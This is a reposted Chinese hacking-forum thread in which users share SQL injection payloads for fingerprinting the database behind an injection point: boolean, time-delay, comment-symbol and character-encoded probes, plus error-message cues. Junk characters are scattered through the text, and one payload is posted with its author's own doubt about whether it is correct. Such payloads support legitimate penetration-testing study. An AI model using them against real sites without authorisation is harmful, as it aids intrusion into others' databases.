中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
9 `6 L8 ]7 ]% b1 jxsser (十根阳具有长短!!) | 2013-02-05 12:36" o5 ?& n( m0 c" n! T5 L
假设这么一个注射点:8 S0 m! m, Q: W6 ~; _7 k
show.html?id=2
0 V. ~( y! d$ [4 C. C, emysql:id=2 and version()>02 R, f( K, {. J: Q+ W$ ~& A) a
oracle:id=2 and '1'||'1'='11: k6 @( \! }/ x( Q" v* H) ^
其他的欢迎补充2 E4 h- x5 A9 Q, K
1#: x8 j- s8 K4 {6 f$ R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
& v( d' F- y( V) E" u# \  I6 f- XAccess:. Y' L" r1 M: k5 [" o) A% R" P  J
aNd aSc(cHr(97))=97, u6 c$ r* k& H3 l6 N+ Y" H( w% R
and exists(select id from MSysAccessObjects)" V" d6 y2 }) H' W
SQL Server:/ v: H$ ~5 l+ W: s
and exists(select id from sysobjects)
0 Q4 _& \; {4 pand length(user)>0
! P* E4 w$ R: g! c' F# d: {MySQL:7 f( T+ d8 a* S( D: S; ~3 E+ f
and length(user())>0
3 S9 m$ r( [% x. y2#! C2 z6 b0 l, Q3 O9 @
xsser (十根阳具有长短!!) | 2013-02-05 12:48% w2 Q& K) H! A
@upload 如果这些都不是呢…( w# M9 W+ w5 ]( x
3#
# }" M, x" e- Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:037 @$ r% @) O& X  Q9 i
@xsser 不快速的,延时注入! |* g/ F3 g+ J/ ]4 W9 s( I
不知道这样写对不对- A" Y- I4 c( y. s
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
3 |! u2 V2 Q  ~! s% ~* y! N3 }mysql:id=2 and select benchmark(1e8,current_date());
/ z9 P, R( x8 p* M8 B( T' ]9 g4#
7 r! H, y' a, J5 L) supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10. \: s, ]3 G! _' h# {" A. U
最快的貌似是看报错信息
7 o. D+ S+ g1 y( Q0 ioracle error3 F! u+ c5 E& O4 U) X. F
mssql error
) A# ^% d! U2 s. k" {5 bmysql error
7 p2 ?, F/ n/ P/ u5#2 S  w% V9 R) p  s1 t( P
Nimda (你们都是坏银~) | 2013-02-05 13:14: d. B) N0 x- b. K! T
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)9 \* O$ v$ g1 x" Q7 B% p$ @! R9 w
6#
/ c' B5 R; q) r4 r6 e* K- ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:215 X- _/ B4 g4 g
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:, r% F+ X* \' F* L- O2 x
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:' ~7 r0 [9 w7 ~; H  q( g2 D
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
/ G7 W$ t) P/ h) O$ L" |7 x7#* t; W) @* G4 M1 u
_Evil (HackEnd) | 2013-02-05 13:33! f9 V1 _5 A9 i! m( ?4 A0 ^( g" M% ~
PostgreSQL% H6 q' B( Z1 [# x! H7 |! t
8#% }! ^) f3 `1 m) x: Z+ R8 x- Q( k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:424 g+ ?  t" T* _! E0 u' Q- F1 [
切换编码 and 1=1
8 n! f/ C6 e* V% q/ w% g: Qoracle:
& Z' D, R4 _+ S& Y3 QCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)7 M4 f! I$ |3 Y9 }' t
mssql:
8 K$ y% N+ x6 O2 ?7 {. HCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
, i1 |6 }. E; k3 F. ?. s% xmysql:5 A" g7 v5 \. i
CHAR(97, 110, 100, 32, 49, 61, 49)
5 L1 h2 P8 Y' N( C9#8 n9 I8 C' i% j( Y6 f% G
xsser (十根阳具有长短!!) | 2013-02-05 14:31) ?5 u+ r1 z! R* o1 r
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
' w0 L# m: U+ U& F% ]# I10#9 v' \- @0 n" q2 B  |  a1 `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
7 H  ^, |: @7 ^; n9 {- x@xsser 是奇葩数据库类型的么?* z; M( `: e3 x) p4 W
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:/ J* \3 F. [  P+ Q+ _- ?. X
1.是否可以使用特定的函数来判断,该数据库特有的$ r( O6 q( o1 N
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等* n3 A5 r8 t$ W% q
3.是否可以编码查询4 ?9 x0 b1 m9 J3 l4 O* b! |- \
4.是否显可以利用错信息
$ i5 H1 y* a0 ?) C5 R0 D; _5.是否存在数据库某些特性辅助判断! u# U2 N: L, R; }2 K( s
个人见解
! g2 l; b; N! m1 W$ m& M% {: @5 x11#
6 P. L( @* y* z. b8 E, @1 f1 k$ u' A小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ x, d; C# a  q* V, z
已收藏,mssql可以直接看到错误提示的吧~! I6 T7 |4 c5 H) s$ y
12#
1 s# c6 U4 |5 G  C$ g9 {Passer_by | 2013-02-05 15:09) |' ]# q7 ~6 T
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
+ y: U1 ?2 `  Zfrom:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2